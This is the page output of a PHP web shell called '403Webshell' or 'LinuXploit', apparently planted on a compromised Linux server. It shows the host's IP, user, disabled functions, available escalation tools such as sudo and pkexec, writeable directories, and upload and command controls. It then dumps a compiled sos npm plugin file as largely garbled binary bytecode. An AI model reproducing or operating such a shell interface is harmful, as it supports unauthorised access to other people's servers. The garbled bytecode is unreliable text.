403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/npm.cpython-310.pyc
o

G%@i<�@sBddlZddlmZmZmZGdd�dee�ZGdd�de�ZdS)�N)�Plugin�IndependentPlugin�	PluginOptc@s@eZdZdZdZdZeddedd�gZdZ	dd
d�Z
dd
�Zd	S)�Npmz&Information from available npm modules�npm)�system�project-path�z+Collect npm modules of project at this path)�default�val_type�desc)rNcCs|j||d|d�dS)NF)�suggest_filename�stderr�runat)�add_cmd_output)�self�cmd�filename�working_directory�r�8/usr/lib/python3/dist-packages/sos/report/plugins/npm.py�_get_npm_outputs
�zNpm._get_npm_outputcCs`|�d�r"tj�tj�|�d���}|jdd|d�|jdd|d�|�dd�|�dd	�dS)
Nrz
npm ls --json�npm_ls_project)rznpm config list -l�npm_config_list_projectznpm ls -g --json�
npm_ls_global�npm_config_list_global)�
get_option�os�path�abspath�
expanduserr)r�project_pathrrr�setup%s
���z	Npm.setup)N)�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr�str�option_list�packagesrr"rrrrrs��
	rc@seZdZdZdZdS)�NpmViaNodeJSzG
    some distribution methods don't provide 'npm' via npm package
    )�nodejsN)r#r$r%�__doc__r+rrrrr,3sr,)r�sos.report.pluginsrrrrr,rrrr�<module>s	$

Youez - 2016 - github.com/yon3zu
LinuXploit